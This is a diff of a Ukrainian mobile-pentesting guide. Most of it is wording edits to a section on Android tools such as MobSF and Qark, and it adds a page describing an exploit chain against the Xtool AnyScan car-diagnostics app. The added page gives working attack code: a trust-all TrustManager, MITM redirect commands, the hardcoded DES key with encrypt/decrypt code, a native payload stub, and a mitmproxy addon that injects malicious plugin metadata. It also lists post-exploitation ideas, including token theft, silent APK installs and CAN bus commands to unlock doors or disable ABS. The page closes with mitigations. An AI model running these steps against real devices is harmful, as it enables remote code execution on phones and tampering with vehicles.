MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **завантажений** замість файлу.
|
||||
|
||||
### Допоміжний динамічний аналіз з MobSF
|
||||
|
||||
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). _Примітка: Спочатку потрібно **запустити VM в genymotion** і **потім MobSF.**_\
|
||||
**Динамічний аналізатор MobSF** може:
|
||||
|
||||
- **Витягувати дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
- **Витягувати дані програми** (URL, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
- Захоплювати **HTTPS трафік**
|
||||
- Використовувати **Frida** для отримання **інформації під час виконання**
|
||||
|
||||
@ -541,7 +542,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
|
||||
|
||||
**Frida**
|
||||
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера**, а також для **моніторингу цікавих API**.\
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL pinning**, **виявлення root** і **виявлення дебагера**, а також для **моніторингу цікавих API**.\
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
@ -571,9 +572,9 @@ exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**HTTP tools**
|
||||
**HTTP інструменти**
|
||||
|
||||
Коли http-трафік захоплюється, ви можете побачити непривабливий вигляд захопленого трафіку в "**HTTP(S) Traffic**" внизу або більш привабливий вигляд у "**Start HTTPTools**" зеленій кнопці. З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
|
||||
Коли http трафік захоплений, ви можете побачити непривабливий вигляд захопленого трафіку на "**HTTP(S) Traffic**" внизу або більш привабливий вигляд на зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
|
||||
Для цього, _включіть Burp -->_ _вимкніть Intercept --> в MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Коли ви закінчите динамічний аналіз з MobSF, ви можете натиснути на "**Start Web API Fuzzer**", щоб **фузити http запити** та шукати вразливості.
|
||||
@ -585,7 +586,7 @@ receivers
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
### Допоміжний динамічний аналіз з Inspeckage
|
||||
|
||||
Ви можете отримати інструмент з [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Цей інструмент використовує деякі **Hooks**, щоб дати вам знати **що відбувається в додатку** під час виконання **динамічного аналізу**.
|
||||
@ -598,7 +599,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android-додатків, пов'язаних із безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних з безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -634,7 +635,7 @@ StaCoAn - це **кросплатформений** інструмент, яки
|
||||
|
||||
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного додатку (файл .apk або .ipa) на додаток StaCoAn, і він створить для вас візуальний та портативний звіт. Ви можете налаштувати параметри та словники для отримання індивідуального досвіду.
|
||||
|
||||
Завантажити [остання версію](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Завантажити [остання версія](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -660,7 +661,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків та фахівців з безпеки.
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків та фахівців з безпеки.
|
||||
|
||||
Він здатний:
|
||||
|
||||
@ -717,7 +718,7 @@ APKiD надає вам інформацію про **те, як був ство
|
||||
|
||||
### Manual
|
||||
|
||||
[Прочитайте цей посібник, щоб дізнатися кілька трюків про **те, як реверсувати власну обфускацію**](manual-deobfuscation.md)
|
||||
[Прочитайте цей посібник, щоб дізнатися деякі хитрощі про **те, як реверсувати власну обфускацію**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
|
@ -0,0 +1,124 @@
|
||||
# Небезпечні механізми оновлення в додатках – віддалене виконання коду через шкідливі плагіни
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Багато Android-додатків реалізують **свої власні канали оновлення “плагінів” або “динамічних функцій”** замість використання Google Play Store. Коли реалізація є небезпечною, зловмисник, здатний перехопити трафік, може надати **произвольний нативний код, який буде завантажено в процес додатка**, що призводить до повного віддаленого виконання коду (RCE) на пристрої – і в деяких випадках на будь-якому зовнішньому пристрої, контрольованому додатком (автомобілі, IoT, медичні пристрої …).
|
||||
|
||||
Ця сторінка підсумовує реальний ланцюг вразливостей, виявлений у додатку для автомобільної діагностики Xtool **AnyScan** (v4.40.11 → 4.40.40) і узагальнює техніку, щоб ви могли перевірити інші Android-додатки та використати неправильну конфігурацію під час участі в червоній команді.
|
||||
|
||||
---
|
||||
## 1. Визначення небезпечного TLS TrustManager
|
||||
|
||||
1. Декомпілюйте APK за допомогою jadx / apktool і знайдіть стек мережі (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Шукайте **кастомний `TrustManager`** або `HostnameVerifier`, який сліпо довіряє кожному сертифікату:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
new X509TrustManager() {
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Якщо присутній, програма прийме **будь-який TLS сертифікат** → ви можете запустити прозорий **MITM проксі** з самопідписаним сертифікатом:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. Реверс-інжиніринг метаданих оновлення
|
||||
|
||||
У випадку AnyScan кожен запуск програми викликає HTTPS GET до:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Тіло відповіді є **XML документом**, в якому вузли `<FileData>` містять **Base64-кодовані, DES-ECB зашифровані** JSON, що описує кожен доступний плагін.
|
||||
|
||||
Типові кроки для пошуку:
|
||||
1. Знайти криптографічну рутину (наприклад, `RemoteServiceProxy`) і відновити:
|
||||
* алгоритм (DES / AES / RC4 …)
|
||||
* режим роботи (ECB / CBC / GCM …)
|
||||
* зашитий ключ / IV (часто 56-бітні DES ключі або 128-бітні AES ключі в константах)
|
||||
2. Реалізувати функцію на Python для розшифрування / шифрування метаданих:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
|
||||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||||
|
||||
def decrypt_metadata(data_b64: str) -> bytes:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return cipher.decrypt(b64decode(data_b64))
|
||||
|
||||
def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Створіть шкідливий плагін
|
||||
|
||||
1. Виберіть будь-який легітимний ZIP плагін і замініть рідну бібліотеку на ваш вантаж:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
void init(void){
|
||||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||||
// spawn reverse shell, drop file, etc.
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Оновіть метадані JSON так, щоб `"FileName" : "PWNED.zip"` і `"DownloadURL"` вказували на ваш HTTP сервер.
|
||||
3. Зашифруйте DES + закодуйте в Base64 змінений JSON і вставте його назад у перехоплений XML.
|
||||
|
||||
## 4. Доставте Payload за допомогою mitmproxy
|
||||
|
||||
`addon.py` приклад, який *безшумно* замінює оригінальні метадані:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
|
||||
def request(flow: http.HTTPFlow):
|
||||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||||
flow.response = http.Response.make(
|
||||
200,
|
||||
MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
Запустіть простий веб-сервер для хостингу шкідливого ZIP:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Коли жертва запускає додаток, він буде:
|
||||
* отримувати наш підроблений XML через канал MITM;
|
||||
* розшифровувати та парсити його за допомогою жорстко закодованого DES ключа;
|
||||
* завантажувати `PWNED.zip` → розпаковувати в приватному сховищі;
|
||||
* `dlopen()` включену *libscan_x64.so*, миттєво виконуючи наш код **з дозволами додатка** (камера, GPS, Bluetooth, файловий система тощо).
|
||||
|
||||
Оскільки плагін кешується на диску, бекдор **зберігається після перезавантажень** і запускається щоразу, коли користувач вибирає відповідну функцію.
|
||||
|
||||
## 5. Ідеї після експлуатації
|
||||
|
||||
* Вкрасти сесійні куки, токени OAuth або JWT, збережені додатком.
|
||||
* Скинути APK другого етапу та тихо встановити його через `pm install` (додаток вже має `REQUEST_INSTALL_PACKAGES`).
|
||||
* Зловживати будь-яким підключеним обладнанням – у сценарії AnyScan ви можете надсилати довільні **OBD-II / CAN bus команди** (відкрити двері, вимкнути ABS тощо).
|
||||
|
||||
---
|
||||
### Перелік виявлення та пом'якшення (синя команда)
|
||||
|
||||
* НІКОЛИ не відправляйте виробничу версію з кастомним TrustManager/HostnameVerifier, який вимикає перевірку сертифікатів.
|
||||
* Не завантажуйте виконуваний код ззовні Google Play. Якщо ви *повинні*, підписуйте кожен плагін тим самим **apkSigning v2** ключем і перевіряйте підпис перед завантаженням.
|
||||
* Замініть слабку/жорстко закодовану криптографію на **AES-GCM** та серверний обертовий ключ.
|
||||
* Перевіряйте цілісність завантажених архівів (підпис або принаймні SHA-256).
|
||||
|
||||
---
|
||||
## Посилання
|
||||
|
||||
- [NowSecure – Виявлено віддалене виконання коду в додатку Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Небезпечні шаблони TrustManager](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user